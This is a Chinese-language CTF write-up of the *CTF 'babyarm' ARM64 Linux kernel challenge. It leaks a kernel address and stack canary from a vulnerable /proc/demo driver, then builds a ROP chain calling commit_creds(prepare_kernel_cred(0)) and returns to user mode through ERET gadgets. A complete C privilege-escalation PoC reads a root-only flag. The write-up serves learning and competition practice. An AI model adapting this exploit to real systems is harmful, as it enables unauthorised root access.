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[原创]*CTF babyarm内核题目分析
2022-4-19 15:27 8461

[原创]*CTF babyarm内核题目分析

2022-4-19 15:27
8461

本文从漏洞分析、ARM64架构漏洞利用方式来讨论如何构造提权PoC达到读取root权限的文件。此题是一个ARM64架构的Linux 5.17.2 版本内核提权题目,目的是读取root用户的flag文件。

概况

题目默认开启了KASLR地址随机化和PXN防护,指定CPU核心数量为一,线程为一。

 

使用cpio命令分离出驱动模块后放到IDA查看,只实现了readwrite函数的功能,功能相当简单。read函数把内核栈内容拷贝到全局变量demo_buf,然后再把demo_buf的内容拷贝到用户态缓冲区,长度不超过0x1000。其他不重要的信息可以不用看:

 

图片描述
write函数把用户态缓冲区内容拷贝到demo_buf,然后将demo_buf内容拷贝到内核栈中,同样长度不超过0x1000:

 

图片描述

利用思路

知道模块的基本功能之后,现在来考虑利用方式。

  • 首先,题目启动脚本中没有给定nokaslr,默认开启地址随机化,需要泄露内核地址,当然还有canary。并且ARM架构下默认开启了PXN,内核无法直接执行用户态代码,需要使用ROP技术。
  • 上一步泄露完成之后,可以获得kernel中的gadget地址,以此来构造ROP,执行commit_creds(prepare_kernel_cred(0))提升进程权限,返回用户态,并fork一个新的shell,就可以继承父进程的权限完成提权

编写PoC

第一步的泄露很简单,直接使用read函数功能就可以达到目的,代码如下:

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int fd = open("/proc/demo",2);
 
size_t leak[0x200] = {0};
read(fd, leak, 0x1f8);
for (int i = 0; i < 100; i++)
{
    printf("id %d : 0x%llx\n",i,leak[i]);
}

这里编译的时候需要使用交叉编译为ARM64的程序。交叉编译环境的安装方式很简单:

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sudo apt-get install emdebian-archive-keyring
sudo apt-get install linux-libc-dev-arm64-cross libc6-arm64-cross
sudo apt-get install binutils-aarch64-linux-gnu gcc-8-aarch64-linux-gnu
sudo apt-get install g++-8-aarch64-linux-gnu

编译exp:

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aarch64-linux-gnu-gcc-8 -static exp.c -o exp

重新打包后运行exp,根据泄露的结果得知第3个值是内核代码地址,第13个值是canary

 

图片描述
用ARM64的基础加载地址 0xffff800008000000 算出内核基址、commit_credsprepare_kernel_cred的地址:

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size_t commit_creds, prepare_kernel_cred = 0;
size_t kernel_base,offset = 0;
 
size_t kernel_addr = leak[2];
size_t canary = leak[12];
 
offset = kernel_addr - 0xffff8000082376f8;
kernel_base = 0xffff800008000000 + offset;
 
commit_creds = kernel_base + 0xa2258;
prepare_kernel_cred = kernel_base + 0xa24f8;

接下来要考虑如何构造ROP链,如何返回用户态。

 

这里先了解一下ARM64汇编指令和x86_64指令的区别:

  • x86_64指令六个参数为RDI、RSI、RDX、RCX、R8、R9,函数结束时使用LEAVERET平衡栈,返回值放在RAX寄存器中,RET指令会使RSP+8
  • ARM64有X0~X30这些寄存器,参数一为X0寄存器,返回值同样使用X0寄存器,栈指针为SP寄存器,PC寄存器存储当前指令,使用LDP X29, X30, [SP] 这种方式给X29和X30寄存器赋值,当RET指令时将X30寄存器值给PC寄存器,但RET指令不会使SP+8,也就是说ARM64不会像X86那样频繁移动栈顶

根据以上结论,我们需要控制ARM64的执行流,就需要控制X30寄存器,并给参数寄存器X0赋值。而现在内核栈是我们可控的,那么理论上就可以控制PC指针。

 

首先调用prepare_kernel_cred(0),参数为0,需要将X0赋值为0,ROPgadget工具不是很好用,直接手动找,在内核文件中找到如下gadget:

 

图片描述
这一部分控制了很多寄存器,可以极大的方便我们后续操作。通过调试偏移写出payload如下:

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size_t gadget2 = kernel_base + 0x16950;
 
leak[13] = 0x4141414141414141;
leak[14] = 0x4141414141414141;
leak[16] = canary;
leak[18] = gadget2;
leak[21] = 0x8888888888888888;
leak[22] = prepare_kernel_cred;

调试的时候发现一个问题,因为ARM64的RET指令并不会使用栈中的数据作为返回地址,而是使用X30寄存器的值,在prepare_kernel_cred函数结束后,由于X30寄存器还是之前的值,又再次执行了prepare_kernel_cred,这显然不是想要的结果。这里先看看ARM程序是怎么开辟栈帧的:

 

图片描述
这是在内核中随便找的函数,不用考虑这个函数做了什么,重点关注第一条指令和最后两条指令,第一条指令将X29和X30寄存器放入到栈中,最后两条指令平衡栈。如果去掉第一条指令,那么在平衡栈的时候就会将我们构造的内容给X29和X30。这里也看到ARM不像x86那样可以通过加减地址来获得不同的指令,ARM指令必须以四字节对齐为一个指令。所以在执行prepare_kernel_cred时应该地址加上四字节,执行commit_creds函数也是同理。调试修改上面的payload为如下:

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leak[13] = 0x4141414141414141;
leak[14] = 0x4141414141414141;
leak[16] = canary;
leak[18] = gadget2;
leak[19] = 0;
leak[20] = 0;
leak[21] = 0x8888888888888888;
leak[22] = prepare_kernel_cred + 4;
leak[32] = commit_creds + 4;
leak[36] = gadget2;
leak[37] = 0x7777777777777777;
leak[38] = canary;
leak[39] = 0x2222222222222222;
leak[40] = 0x3333333333333333;

执行完commit_creds(prepare_kernel_cred(0))后,当前exp进程的cred结构体已经是root,但内核栈已经被我们破坏掉了,继续执行会导致内核崩溃重启,此时需要手动返回用户态起shell。

 

需要知道的是ARM64使用SVC指令进入内核态,使用ERET指令返回用户态,同x86一样,ARM在进入内核态之前会保存用户态所有寄存器状态,在返回时恢复。其中比较重要的寄存器有SP_EL0、ELR_EL1、SPSR_EL1,它们保存内容分别如下:

  • SP_EL0保存用户态的栈指针
  • ELR_EL1保存要返回的用户态PC指针
  • SPSR_EL1保存一个值,暂不知道是何用处,但他的值是固定的0x80001000

我们手动恢复这几个寄存器,然后在调用ERET时就可以返回用户态执行函数了。而要找到恢复这些寄存器的gadget可以直接在调试器中单步跟随,找到内核何时返回用户态,然后直接使用这些gadget就行。内容如下:

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0xffff800008011fe4:    msr    sp_el0, x23
0xffff800008011fe8:    tst    x22, #0x10
0xffff800008011fec:    b.eq    0xffff800008011ff4  // b.none
0xffff800008011ff0:    nop
0xffff800008011ff4:    ldr    x0, [x28, #3432]
0xffff800008011ff8:    b    0xffff800008012024
 
0xffff800008012024:    msr    elr_el1, x21
0xffff800008012028:    msr    spsr_el1, x22
0xffff80000801202c:    ldp    x0, x1, [sp]
0xffff800008012030:    ldp    x2, x3, [sp, #16]
0xffff800008012034:    ldp    x4, x5, [sp, #32]
0xffff800008012038:    ldp    x6, x7, [sp, #48]
0xffff80000801203c:    ldp    x8, x9, [sp, #64]
0xffff800008012040:    ldp    x10, x11, [sp, #80]
0xffff800008012044:    ldp    x12, x13, [sp, #96]
0xffff800008012048:    ldp    x14, x15, [sp, #112]
0xffff80000801204c:    ldp    x16, x17, [sp, #128]
0xffff800008012050:    ldp    x18, x19, [sp, #144]
0xffff800008012054:    ldp    x20, x21, [sp, #160]
0xffff800008012058:    ldp    x22, x23, [sp, #176]
0xffff80000801205c:    ldp    x24, x25, [sp, #192]
0xffff800008012060:    ldp    x26, x27, [sp, #208]
0xffff800008012064:    ldp    x28, x29, [sp, #224]
0xffff800008012068:    nop
0xffff80000801206c:    nop
0xffff800008012070:    nop

观察这两段gadget,这些寄存器我们都可以控制,这就比较简单了,直接拿过来用就可以了,并且在执行完这段gadget后,会自动执行ERET指令,其实这段函数就是内核返回用户态的代码。指定上面三个关键寄存器的值,用户态栈地址可以随意指定一个,内核只做地址校验,并不会触发panic,ELR_EL1构造为用户态代码地址,最后修改payload如下:

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leak[13] = 0x4141414141414141;
leak[14] = 0x4141414141414141;
leak[16] = canary;
leak[18] = gadget2;
leak[19] = 0;
leak[20] = 0;
leak[21] = 0x8888888888888888;
leak[22] = prepare_kernel_cred + 4;
leak[32] = commit_creds + 4;
leak[33] = 0x1111111111111111;
 
leak[36] = gadget2;
leak[37] = 0x7777777777777777;
leak[38] = canary;
leak[39] = 0x2222222222222222;
leak[40] = 0x3333333333333333;
leak[41] = (size_t)leak;          // x29  far_el1=0x00ffffc150b790
 
leak[42] = kernel_base + 0x11fe4; // x30
 
leak[43] = 0x6666666666666666;    // x19
leak[44] = 0x7777777777777777;    // x20
leak[45] = (size_t)shell;         // x21   elr_el1=0x41f518
leak[46] = 0x80001000;            // x22   spsr_el1=0x80001000
leak[47] = (size_t)leak;          // x23   sp_el0=0x00ffffc150b790
leak[48] = 0x2222222222222222;    // x24
leak[49] = 0x3333333333333333;    // x25
leak[51] = 0x4444444444444444;

完整PoC如下,最后执行system("/bin/sh")时,在clone系统调用时会失败,原因可能是因为某个ARM寄存器未还原,触发了缺页机制,会分配一个新的页,最后PC指针指向这个非法地址,无法获取shell,所以改成了ORW的方式读取flag:

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#include <stdio.h>
#include <stdlib.h>
#include <linux/types.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/wait.h>
 
size_t commit_creds, prepare_kernel_cred = 0; // 0xffff8000080a2258 0xffff8000080a24f8
size_t kernel_base,offset = 0; // 0xffff800008000000
size_t gadget2 = 0;
 
void shell(void)
{
    // int uid = getuid();
    // printf("uid == %d\n",uid);
    // system("/bin/sh");
    char buf[0x40] = {0};
    int fd = open("/flag",0);
    read(fd, buf, 0x40);
    write(1, buf, 0x40);
}
 
int main()
{
    int fd = open("/proc/demo",2);
    if (fd < 0)
    {
        puts("open error");
        exit(-1);
    }
 
    size_t leak[0x200] = {0};
 
    read(fd, leak, 0x1f8);
    for (int i = 0; i < 36; i++)
    {
        printf("id %d : 0x%llx\n",i,leak[i]);
    }
    size_t kernel_addr = leak[2];
    size_t canary = leak[12];
    printf("kerenl_addr== 0x%llx , canary == 0x%llx\n",kernel_addr,canary);
 
    offset = kernel_addr - 0xffff8000082376f8;
    kernel_base = 0xffff800008000000 + offset; //ffffd587d10a2258 0xffffd587d10a2258,
    commit_creds = kernel_base + 0xa2258;
    prepare_kernel_cred = kernel_base + 0xa24f8;
    gadget2 = kernel_base + 0x16950;
 
    printf("kerenl_base== 0x%llx ,commit_creds == 0x%llx, prepare_kernel_cred == 0x%llx\n",kernel_base,commit_creds,prepare_kernel_cred);
    printf("%p\n",leak);
 
    leak[13] = 0x4141414141414141;
    leak[14] = 0x4141414141414141;
    leak[16] = canary;
    leak[18] = gadget2;
    leak[19] = 0;
    leak[20] = 0;
    leak[21] = 0x8888888888888888;
    leak[22] = prepare_kernel_cred + 4;
    leak[32] = commit_creds + 4;
    leak[33] = 0x1111111111111111;
    leak[36] = gadget2;
    leak[37] = 0x7777777777777777;
    leak[38] = canary;
    leak[39] = 0x2222222222222222;
    leak[40] = 0x3333333333333333;
    leak[41] = (size_t)leak;          // x29  far_el1=0x00ffffc150b790
    leak[42] = kernel_base + 0x11fe4; // x30
    leak[43] = 0x6666666666666666;    // x19
    leak[44] = 0x7777777777777777;    // x20
    leak[45] = (size_t)shell;         // x21   elr_el1=0x41f518
    leak[46] = 0x80001000;            // x22   spsr_el1=0x80001000
    leak[47] = (size_t)leak;          // x23   sp_el0=0x00ffffc150b790
    leak[48] = 0x2222222222222222;    // x24
    leak[49] = 0x3333333333333333;    // x25
    leak[51] = 0x4444444444444444;
 
    write(fd, leak, 0x200);
    close(fd);
 
    return 0;
};

完成读取root权限的文件flag:
图片描述


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